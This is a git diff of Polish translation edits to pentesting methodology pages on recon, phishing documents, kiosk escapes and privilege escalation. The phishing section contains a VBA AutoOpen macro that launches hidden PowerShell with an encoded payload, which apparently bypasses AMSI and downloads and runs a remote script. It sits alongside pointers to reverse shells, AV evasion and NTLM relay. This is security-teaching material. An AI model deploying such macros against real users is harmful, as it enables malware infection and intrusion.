w zakresie. Proszę zauważyć, że to będzie **ukierunkowane na odkrywanie aplikacji webowych**, więc powinieneś **przeprowadzić skanowanie luk** i **skanowanie portów** również (**jeśli dozwolone** przez zakres). **Szybka metoda** na odkrycie **otwartych portów** związanych z **serwerami** WWW za pomocą [**masscan** można znaleźć tutaj](../pentesting-network/index.html#http-port-discovery).\ -Innym przyjaznym narzędziem do wyszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów: +Innym przyjaznym narzędziem do wyszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) oraz [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 @@ -510,7 +510,7 @@ Będziesz również potrzebować list słów **powszechnie używanych w bucketac - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Następnie, z tymi słowami powinieneś wygenerować **permutacje** (sprawdź [**Drugą rundę DNS Brute-Force**](#second-dns-bruteforce-round) po więcej informacji). +Następnie, z tymi słowami powinieneś wygenerować **permutacje** (sprawdź [**Drugą Rundę DNS Brute-Force**](#second-dns-bruteforce-round) po więcej informacji). Z uzyskanymi listami słów możesz użyć narzędzi takich jak [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **lub** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** @@ -550,10 +550,10 @@ Wyciek danych uwierzytelniających jest związany z hackami firm, w których **w ### Wyciek z GitHub -Dane uwierzytelniające i API mogą być wycieknięte w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących dla tej firmy na GitHubie.\ -Możesz użyć **narzędzia** [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobierać** wszystkie **publiczne repozytoria** danej **organizacji** oraz jej **deweloperów** i automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich. +Dane uwierzytelniające i API mogą być wycieknięte w **publicznych repozytoriach** firmy lub użytkowników pracujących dla tej firmy na GitHubie.\ +Możesz użyć **narzędzia** [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** organizacji i jej **deweloperów** oraz automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich. -**Leakos** może być również używane do uruchamiania **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ami** do niego, ponieważ czasami **strony internetowe również zawierają tajemnice**. +**Leakos** może być również używane do uruchamiania **gitleaks** przeciwko wszystkim **tekstom** dostarczonym **URL-om**, które mu przekazano, ponieważ czasami **strony internetowe również zawierają tajemnice**. #### Dorki GitHub @@ -600,16 +600,16 @@ Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego ## Reasumpcja -> Gratulacje! W tym momencie już wykonałeś **wszystkie podstawowe enumeracje**. Tak, to podstawowe, ponieważ można wykonać znacznie więcej enumeracji (zobaczymy więcej sztuczek później). +> Gratulacje! Na tym etapie już wykonałeś **wszystkie podstawowe enumeracje**. Tak, to podstawowe, ponieważ można wykonać znacznie więcej enumeracji (zobaczymy więcej sztuczek później). Więc już: 1. Znalazłeś wszystkie **firmy** w zakresie 2. Znalazłeś wszystkie **zasoby** należące do firm (i przeprowadziłeś skanowanie luk, jeśli było w zakresie) 3. Znalazłeś wszystkie **domeny** należące do firm -4. Znalazłeś wszystkie **subdomeny** domen (czy jakieś przejęcie subdomeny?) +4. Znalazłeś wszystkie **subdomeny** domen (czy jest jakieś przejęcie subdomeny?) 5. Znalazłeś wszystkie **adresy IP** (z i **nie z CDN**) w zakresie. -6. Znalazłeś wszystkie **serwery internetowe** i zrobiłeś **zrzut ekranu** z nich (czy coś dziwnego wartego głębszego spojrzenia?) +6. Znalazłeś wszystkie **serwery internetowe** i zrobiłeś **zrzut ekranu** z nich (czy jest coś dziwnego, co warto dokładniej zbadać?) 7. Znalazłeś wszystkie **potencjalne publiczne zasoby chmurowe** należące do firmy. 8. **E-maile**, **wycieki danych uwierzytelniających** i **wycieki tajemnic**, które mogą dać ci **duże zwycięstwo bardzo łatwo**. 9. **Pentesting wszystkich stron, które znalazłeś** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 6bf8316dc..62ac65ec3 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -60,7 +60,7 @@ Jeśli w tym momencie nie znalazłeś żadnej interesującej luki, **możesz spr W jakiś sposób powinieneś znaleźć **jakąś metodę wykonania kodu** na ofierze. Następnie [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania powłoki odwrotnej, byłaby bardzo przydatna](../generic-hacking/reverse-shells/index.html). -Szczególnie w systemie Windows możesz potrzebować pomocy, aby **unikać programów antywirusowych**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.**\\ +Szczególnie w systemie Windows możesz potrzebować pomocy, aby **unikać programów antywirusowych**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.** ### 8- Wewnątrz @@ -78,7 +78,7 @@ Prawdopodobnie będziesz musiał **wyciągnąć jakieś dane z ofiary** lub nawe #### **10.1- Lokalna eskalacja uprawnień** -Jeśli nie jesteś **rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\ +Jeśli nie jesteś **rootem/administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\ Tutaj znajdziesz **przewodnik po eskalacji uprawnień lokalnie w** [**Linuxie**](../linux-hardening/privilege-escalation/index.html) **i w** [**Windowsie**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\ Powinieneś również sprawdzić te strony dotyczące tego, jak działa **Windows**: @@ -105,14 +105,14 @@ Znajdź tutaj różne sposoby [**zrzucania haseł w Windowsie**](https://github. **Użyj 2 lub 3 różnych typów mechanizmów utrzymywania, aby nie musieć ponownie eksploatować systemu.**\ **Tutaj znajdziesz kilka** [**sztuczek dotyczących utrzymywania w Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.** -TODO: Uzupełnij post o utrzymywaniu w Windows i Linux +TODO: Uzupełnij post o utrzymywaniu w Windowsie i Linuxie ### 12 - Pivoting -Dzięki **zebranym danym logowania** możesz uzyskać dostęp do innych maszyn, lub może musisz **odkryć i zeskanować nowe hosty** (rozpocznij metodologię pentestingu od nowa) w nowych sieciach, do których jest podłączona twoja ofiara.\ +Dzięki **zebranym danym logowania** możesz uzyskać dostęp do innych maszyn, lub może musisz **odkryć i zeskanować nowe hosty** (rozpocznij metodologię pentestingu od nowa) w nowych sieciach, w których jest połączona twoja ofiara.\ W takim przypadku tunelowanie może być konieczne. Tutaj możesz znaleźć [**post mówiący o tunelowaniu**](../generic-hacking/tunneling-and-port-forwarding.md).\ Zdecydowanie powinieneś również sprawdzić post o [metodologii pentestingu Active Directory](../windows-hardening/active-directory-methodology/index.html). Tam znajdziesz fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i zrzucania danych logowania.\ -Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/index.html), może być bardzo przydatna do pivotingu w środowiskach Windows.. +Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/index.html), może być bardzo przydatna do pivotingu w środowiskach Windows. ### WIĘCEJ diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 9b5458a1f..1847e2431 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,8 +1,8 @@ -# Pliki i dokumenty phishingowe +# Phishing Files & Documents {{#include ../../banners/hacktricks-training.md}} -## Dokumenty Office +## Office Documents Microsoft Word wykonuje walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli wystąpi błąd podczas identyfikacji struktury danych, analizowany plik nie zostanie otwarty. @@ -14,27 +14,27 @@ Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia b ```bash assoc | findstr /i "word excel powerp" ``` -DOCX pliki odwołujące się do zdalnego szablonu (Plik – Opcje – Dodatki – Zarządzaj: Szablony – Przejdź) które zawierają makra mogą również „wykonywać” makra. +DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. -### Ładowanie zewnętrznych obrazów +### External Image Load -Przejdź do: _Wstaw --> Szybkie części --> Pole_\ -&#xNAN;_**Kategorie**: Linki i odniesienia, **Nazwy pól**: includePicture, oraz **Nazwa pliku lub URL**:_ http://\/whatever +Go to: _Insert --> Quick Parts --> Field_\ +_**Kategorie**: Links and References, **Nazwa pola**: includePicture, and **Nazwa pliku lub URL**:_ http://\/whatever ![](<../../images/image (155).png>) -### Backdoor makr +### Macros Backdoor -Możliwe jest użycie makr do uruchamiania dowolnego kodu z dokumentu. +It's possible to use macros to run arbitrary code from the document. -#### Funkcje autoload +#### Autoload functions -Im bardziej powszechne, tym bardziej prawdopodobne, że AV je wykryje. +Im bardziej są powszechne, tym większe prawdopodobieństwo, że AV je wykryje. - AutoOpen() - Document_Open() -#### Przykłady kodu makr +#### Macros Code Examples ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -71,7 +71,7 @@ Przejdź do **Plik > Informacje > Sprawdź dokument > Sprawdź dokument**, co ot #### Rozszerzenie dokumentu Po zakończeniu wybierz rozwijane menu **Zapisz jako typ**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\ -Zrób to, ponieważ **nie możesz zapisać makr w `.docx`** i istnieje **stygmat** **związany** z rozszerzeniem makro-włączonym **`.docm`** (np. ikona miniatury ma ogromne `!`, a niektóre bramy internetowe/e-mailowe całkowicie je blokują). Dlatego to **dziedziczne rozszerzenie `.doc` jest najlepszym kompromisem**. +Zrób to, ponieważ **nie możesz zapisać makr w `.docx`** i istnieje **stygmat** **związany** z rozszerzeniem makro-włączonym **`.docm`** (np. ikona miniatury ma ogromne `!`, a niektóre bramy internetowe/e-mailowe całkowicie je blokują). Dlatego to **stare rozszerzenie `.doc` jest najlepszym kompromisem**. #### Generatory złośliwych makr @@ -152,11 +152,11 @@ Istnieje kilka sposobów na **wymuszenie uwierzytelniania NTLM "zdalnie"**, na p ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} -### Przekaźnik NTLM +### Przekazywanie NTLM -Nie zapomnij, że nie tylko możesz ukraść hash lub uwierzytelnienie, ale także **przeprowadzać ataki przekaźnikowe NTLM**: +Nie zapomnij, że nie tylko możesz ukraść hash lub uwierzytelnienie, ale także **przeprowadzać ataki przekazywania NTLM**: -- [**Ataki przekaźnikowe NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -- [**AD CS ESC8 (przekaźnik NTLM do certyfikatów)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +- [**Ataki przekazywania NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) +- [**AD CS ESC8 (przekazywanie NTLM do certyfikatów)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index 0a8239439..082a693a6 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -4,14 +4,14 @@ --- -## Sprawdź urządzenie fizyczne +## Sprawdź fizyczne urządzenie -| Komponent | Akcja | -| ------------- | ------------------------------------------------------------------ | -| Przycisk zasilania | Wyłączenie i ponowne włączenie urządzenia może ujawnić ekran startowy | +| Komponent | Działanie | +| ------------- | -------------------------------------------------------------------- | +| Przycisk zasilania | Wyłączenie i ponowne włączenie urządzenia może ujawnić ekran startowy | | Kabel zasilający | Sprawdź, czy urządzenie uruchamia się ponownie po krótkim odcięciu zasilania | -| Porty USB | Podłącz fizyczną klawiaturę z dodatkowymi skrótami | -| Ethernet | Skanowanie sieci lub sniffing może umożliwić dalszą eksploatację | +| Porty USB | Podłącz fizyczną klawiaturę z dodatkowymi skrótami | +| Ethernet | Skanowanie sieci lub sniffing może umożliwić dalszą eksploatację | ## Sprawdź możliwe działania w aplikacji GUI @@ -50,10 +50,10 @@ _bash, sh, zsh..._ Więcej tutaj: [https://gtfobins.github.io/](https://gtfobins - **Zmienne środowiskowe**: Istnieje wiele zmiennych środowiskowych, które wskazują na jakąś ścieżkę - **Inne protokoły**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ - **Linki symboliczne** -- **Skróty**: CTRL+N (otwórz nową sesję), CTRL+R (wykonaj polecenia), CTRL+SHIFT+ESC (Menadżer zadań), Windows+E (otwórz eksplorator), CTRL-B, CTRL-I (Ulubione), CTRL-H (Historia), CTRL-L, CTRL-O (Plik/Otwórz), CTRL-P (Okno drukowania), CTRL-S (Zapisz jako) +- **Skróty**: CTRL+N (otwórz nową sesję), CTRL+R (wykonaj polecenia), CTRL+SHIFT+ESC (Menadżer zadań), Windows+E (otwórz eksplorator), CTRL-B, CTRL-I (Ulubione), CTRL-H (Historia), CTRL-L, CTRL-O (Plik/Otwórz), CTRL-P (Okno dialogowe Drukuj), CTRL-S (Zapisz jako) - Ukryte menu administracyjne: CTRL-ALT-F8, CTRL-ESC-F9 -- **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -- **Ścieżki UNC**: Ścieżki do połączenia z udostępnionymi folderami. Powinieneś spróbować połączyć się z C$ lokalnej maszyny ("\\\127.0.0.1\c$\Windows\System32") +- **URI powłoki**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ +- **Ścieżki UNC**: Ścieżki do połączenia z folderami udostępnionymi. Powinieneś spróbować połączyć się z C$ lokalnej maszyny ("\\\127.0.0.1\c$\Windows\System32") - **Więcej ścieżek UNC:** | UNC | UNC | UNC | @@ -93,7 +93,7 @@ Edytor rejestru: [https://sourceforge.net/projects/uberregedit/](https://sourcef - High Contrast – SHIFT+ALT+PRINTSCN - Toggle Keys – Przytrzymaj NUMLOCK przez 5 sekund - Filter Keys – Przytrzymaj prawy SHIFT przez 12 sekund -- WINDOWS+F1 – Wyszukiwanie w systemie Windows +- WINDOWS+F1 – Wyszukiwanie w Windows - WINDOWS+D – Pokaż pulpit - WINDOWS+E – Uruchom Eksplorator Windows - WINDOWS+R – Uruchom @@ -113,9 +113,9 @@ Edytor rejestru: [https://sourceforge.net/projects/uberregedit/](https://sourcef ### Przesunięcia -- Przesuń od lewej do prawej, aby zobaczyć wszystkie otwarte okna, minimalizując aplikację KIOSK i uzyskując dostęp do całego systemu operacyjnego bezpośrednio; -- Przesuń od prawej do lewej, aby otworzyć Centrum akcji, minimalizując aplikację KIOSK i uzyskując dostęp do całego systemu operacyjnego bezpośrednio; -- Przesuń w dół z górnej krawędzi, aby uczynić pasek tytułu widocznym dla aplikacji otwartej w trybie pełnoekranowym; +- Przesuń od lewej do prawej, aby zobaczyć wszystkie otwarte okna, minimalizując aplikację KIOSK i uzyskując bezpośredni dostęp do całego systemu operacyjnego; +- Przesuń od prawej do lewej, aby otworzyć Centrum akcji, minimalizując aplikację KIOSK i uzyskując bezpośredni dostęp do całego systemu operacyjnego; +- Przesuń w dół z górnej krawędzi, aby uczynić pasek tytułowy widocznym dla aplikacji otwartej w trybie pełnoekranowym; - Przesuń w górę od dołu, aby pokazać pasek zadań w aplikacji pełnoekranowej. ### Sztuczki Internet Explorer @@ -124,7 +124,7 @@ Edytor rejestru: [https://sourceforge.net/projects/uberregedit/](https://sourcef To pasek narzędzi, który pojawia się w lewym górnym rogu obrazu po jego kliknięciu. Będziesz mógł Zapisz, Drukuj, Mailto, Otwórz "Moje obrazy" w Eksploratorze. Kiosk musi używać Internet Explorer. -#### Protokół Shell +#### Protokół powłoki Wpisz te adresy URL, aby uzyskać widok Eksploratora: @@ -156,12 +156,12 @@ Sprawdź tę stronę, aby uzyskać więcej informacji: [https://www.howtohaven.c ## Sztuczki przeglądarek -Kopia zapasowa wersji iKat: +Kopie zapasowe wersji iKat: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) -Utwórz wspólne okno dialogowe za pomocą JavaScript i uzyskaj dostęp do eksploratora plików: `document.write('')`\ +Utwórz wspólny dialog za pomocą JavaScript i uzyskaj dostęp do eksploratora plików: `document.write('')`\ Źródło: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 ## iPad @@ -170,15 +170,15 @@ Utwórz wspólne okno dialogowe za pomocą JavaScript i uzyskaj dostęp do ekspl - Przesuń w górę czterema (lub pięcioma) palcami / Podwójne naciśnięcie przycisku Home: Aby wyświetlić widok multitaskingu i zmienić aplikację - Przesuń w jedną lub drugą stronę czterema lub pięcioma palcami: Aby przejść do następnej/ostatniej aplikacji -- Złap ekran pięcioma palcami / Naciśnij przycisk Home / Przesuń w górę jednym palcem od dołu ekranu w szybkim ruchu do góry: Aby uzyskać dostęp do ekranu głównego -- Przesuń jednym palcem od dołu ekranu tylko 1-2 cale (wolno): Pojawi się dock +- Złap ekran pięcioma palcami / Naciśnij przycisk Home / Przesuń w górę jednym palcem z dolnej części ekranu w szybkim ruchu do góry: Aby uzyskać dostęp do ekranu głównego +- Przesuń jednym palcem z dolnej części ekranu tylko 1-2 cale (wolno): Pojawi się dock - Przesuń w dół z górnej części wyświetlacza jednym palcem: Aby wyświetlić powiadomienia - Przesuń w dół jednym palcem w prawym górnym rogu ekranu: Aby zobaczyć centrum sterowania iPada Pro - Przesuń jednym palcem z lewej strony ekranu 1-2 cale: Aby zobaczyć widok Dzisiaj -- Szybko przesuń jednym palcem z centrum ekranu w prawo lub w lewo: Aby przejść do następnej/ostatniej aplikacji -- Naciśnij i przytrzymaj przycisk Włącz/**Wyłącz**/Uśpij w prawym górnym rogu **iPada +** Przesuń suwak **wyłączania** całkowicie w prawo: Aby wyłączyć -- Naciśnij przycisk Włącz/**Wyłącz**/Uśpij w prawym górnym rogu **iPada i przycisk Home przez kilka sekund**: Aby wymusić twarde wyłączenie -- Naciśnij przycisk Włącz/**Wyłącz**/Uśpij w prawym górnym rogu **iPada i przycisk Home szybko**: Aby zrobić zrzut ekranu, który pojawi się w lewym dolnym rogu wyświetlacza. Naciśnij oba przyciski jednocześnie bardzo krótko, ponieważ jeśli przytrzymasz je przez kilka sekund, zostanie wykonane twarde wyłączenie. +- Przesuń szybko jednym palcem z centrum ekranu w prawo lub w lewo: Aby przejść do następnej/ostatniej aplikacji +- Naciśnij i przytrzymaj przycisk On/**Off**/Sleep w prawym górnym rogu **iPada +** Przesuń suwak **wyłączania** całkowicie w prawo: Aby wyłączyć +- Naciśnij przycisk On/**Off**/Sleep w prawym górnym rogu **iPada i przycisk Home przez kilka sekund**: Aby wymusić twarde wyłączenie +- Naciśnij przycisk On/**Off**/Sleep w prawym górnym rogu **iPada i przycisk Home szybko**: Aby zrobić zrzut ekranu, który pojawi się w lewym dolnym rogu wyświetlacza. Naciśnij oba przyciski jednocześnie bardzo krótko, ponieważ jeśli przytrzymasz je przez kilka sekund, zostanie wykonane twarde wyłączenie. ### Skróty @@ -201,72 +201,72 @@ Powinieneś mieć klawiaturę iPada lub adapter klawiatury USB. Tylko skróty, k Te skróty dotyczą ustawień wizualnych i dźwiękowych, w zależności od użycia iPada. -| Skrót | Akcja | -| ------- | ------------------------------------------------------------------------------ | -| F1 | Przyciemnij ekran | -| F2 | Rozjaśnij ekran | -| F7 | Wróć do poprzedniej piosenki | -| F8 | Odtwarzaj/pauzuj | -| F9 | Przewiń do następnej piosenki | -| F10 | Wycisz | -| F11 | Zmniejsz głośność | -| F12 | Zwiększ głośność | +| Skrót | Działanie | +| ------- | -------------------------------------------------------------------------------- | +| F1 | Przyciemnij ekran | +| F2 | Rozjaśnij ekran | +| F7 | Wróć do poprzedniej piosenki | +| F8 | Odtwarzaj/pauzuj | +| F9 | Przewiń do następnej piosenki | +| F10 | Wycisz | +| F11 | Zmniejsz głośność | +| F12 | Zwiększ głośność | | ⌘ Spacja | Wyświetl listę dostępnych języków; aby wybrać jeden, naciśnij spację ponownie. | #### Nawigacja po iPadzie -| Skrót | Akcja | -| ------------------------------------------------ | ------------------------------------------------------- | -| ⌘H | Przejdź do ekranu głównego | -| ⌘⇧H (Command-Shift-H) | Przejdź do ekranu głównego | -| ⌘ (Spacja) | Otwórz Spotlight | -| ⌘⇥ (Command-Tab) | Lista ostatnich dziesięciu używanych aplikacji | -| ⌘\~ | Przejdź do ostatniej aplikacji | -| ⌘⇧3 (Command-Shift-3) | Zrzut ekranu (pojawia się w lewym dolnym rogu, aby zapisać lub działać na nim) | -| ⌘⇧4 | Zrzut ekranu i otwórz go w edytorze | -| Naciśnij i przytrzymaj ⌘ | Lista skrótów dostępnych dla aplikacji | -| ⌘⌥D (Command-Option/Alt-D) | Otwiera dock | -| ^⌥H (Control-Option-H) | Przycisk Home | -| ^⌥H H (Control-Option-H-H) | Pokaż pasek multitaskingu | -| ^⌥I (Control-Option-i) | Wybór elementu | -| Escape | Przycisk wstecz | -| → (Strzałka w prawo) | Następny element | -| ← (Strzałka w lewo) | Poprzedni element | -| ↑↓ (Strzałka w górę, Strzałka w dół) | Jednoczesne naciśnięcie wybranego elementu | -| ⌥ ↓ (Opcja-Strzałka w dół) | Przewiń w dół | -| ⌥↑ (Opcja-Strzałka w górę) | Przewiń w górę | -| ⌥← lub ⌥→ (Opcja-Strzałka w lewo lub Opcja-Strzałka w prawo) | Przewiń w lewo lub w prawo | -| ^⌥S (Control-Option-S) | Włącz lub wyłącz mowę VoiceOver | -| ⌘⇧⇥ (Command-Shift-Tab) | Przełącz do poprzedniej aplikacji | -| ⌘⇥ (Command-Tab) | Przełącz z powrotem do oryginalnej aplikacji | -| ←+→, następnie Opcja + ← lub Opcja+→ | Nawiguj przez Dock | +| Skrót | Działanie | +| ------------------------------------------------ | --------------------------------------------------------- | +| ⌘H | Przejdź do ekranu głównego | +| ⌘⇧H (Command-Shift-H) | Przejdź do ekranu głównego | +| ⌘ (Spacja) | Otwórz Spotlight | +| ⌘⇥ (Command-Tab) | Lista ostatnich dziesięciu używanych aplikacji | +| ⌘\~ | Przejdź do ostatniej aplikacji | +| ⌘⇧3 (Command-Shift-3) | Zrzut ekranu (pojawia się w lewym dolnym rogu, aby zapisać lub działać na nim) | +| ⌘⇧4 | Zrzut ekranu i otwórz go w edytorze | +| Naciśnij i przytrzymaj ⌘ | Lista skrótów dostępnych dla aplikacji | +| ⌘⌥D (Command-Option/Alt-D) | Wywołuje dock | +| ^⌥H (Control-Option-H) | Przycisk Home | +| ^⌥H H (Control-Option-H-H) | Pokaż pasek multitaskingu | +| ^⌥I (Control-Option-i) | Wybór elementu | +| Escape | Przycisk wstecz | +| → (Strzałka w prawo) | Następny element | +| ← (Strzałka w lewo) | Poprzedni element | +| ↑↓ (Strzałka w górę, Strzałka w dół) | Jednoczesne naciśnięcie wybranego elementu | +| ⌥ ↓ (Option-Down arrow) | Przewiń w dół | +| ⌥↑ (Option-Up arrow) | Przewiń w górę | +| ⌥← lub ⌥→ (Option-Left arrow lub Option-Right arrow) | Przewiń w lewo lub w prawo | +| ^⌥S (Control-Option-S) | Włącz lub wyłącz mowę VoiceOver | +| ⌘⇧⇥ (Command-Shift-Tab) | Przełącz do poprzedniej aplikacji | +| ⌘⇥ (Command-Tab) | Przełącz z powrotem do oryginalnej aplikacji | +| ←+→, następnie Opcja + ← lub Opcja+→ | Nawiguj przez Dock | #### Skróty Safari -| Skrót | Akcja | -| -------------------- | ----------------------------------------------- | -| ⌘L (Command-L) | Otwórz lokalizację | -| ⌘T | Otwórz nową kartę | -| ⌘W | Zamknij bieżącą kartę | -| ⌘R | Odśwież bieżącą kartę | -| ⌘. | Zatrzymaj ładowanie bieżącej karty | -| ^⇥ | Przełącz do następnej karty | -| ^⇧⇥ (Control-Shift-Tab) | Przejdź do poprzedniej karty | -| ⌘L | Wybierz pole tekstowe/URL, aby je zmodyfikować | +| Skrót | Działanie | +| --------------------- | ----------------------------------------------- | +| ⌘L (Command-L) | Otwórz lokalizację | +| ⌘T | Otwórz nową kartę | +| ⌘W | Zamknij bieżącą kartę | +| ⌘R | Odśwież bieżącą kartę | +| ⌘. | Zatrzymaj ładowanie bieżącej karty | +| ^⇥ | Przełącz do następnej karty | +| ^⇧⇥ (Control-Shift-Tab) | Przejdź do poprzedniej karty | +| ⌘L | Wybierz pole tekstowe/URL, aby je zmodyfikować | | ⌘⇧T (Command-Shift-T) | Otwórz ostatnio zamkniętą kartę (można używać wielokrotnie) | -| ⌘\[ | Wróć o jedną stronę w historii przeglądania | -| ⌘] | Przejdź do przodu o jedną stronę w historii przeglądania | -| ⌘⇧R | Aktywuj tryb czytania | +| ⌘\[ | Wróć o jedną stronę w historii przeglądania | +| ⌘] | Przejdź do przodu o jedną stronę w historii przeglądania | +| ⌘⇧R | Aktywuj tryb czytnika | #### Skróty Mail -| Skrót | Akcja | -| ----------------------- | ---------------------------- | -| ⌘L | Otwórz lokalizację | -| ⌘T | Otwórz nową kartę | -| ⌘W | Zamknij bieżącą kartę | -| ⌘R | Odśwież bieżącą kartę | -| ⌘. | Zatrzymaj ładowanie bieżącej karty | +| Skrót | Działanie | +| ---------------------- | ------------------------------- | +| ⌘L | Otwórz lokalizację | +| ⌘T | Otwórz nową kartę | +| ⌘W | Zamknij bieżącą kartę | +| ⌘R | Odśwież bieżącą kartę | +| ⌘. | Zatrzymaj ładowanie bieżącej karty | | ⌘⌥F (Command-Option/Alt-F) | Szukaj w swojej skrzynce pocztowej | ## Odnośniki diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index a26a15acc..4b22a7ff4 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -24,9 +24,9 @@ Interesujące informacje, hasła lub klucze API w zmiennych środowiskowych? ```bash (env || set) 2>/dev/null ``` -### Eksploity jądra +### Kernel exploits -Sprawdź wersję jądra i czy istnieje jakiś eksploity, które można wykorzystać do eskalacji uprawnień. +Sprawdź wersję jądra i czy istnieje jakiś exploit, który można wykorzystać do eskalacji uprawnień. ```bash cat /proc/version uname -a @@ -45,7 +45,7 @@ Narzędzia, które mogą pomóc w wyszukiwaniu exploitów jądra to: 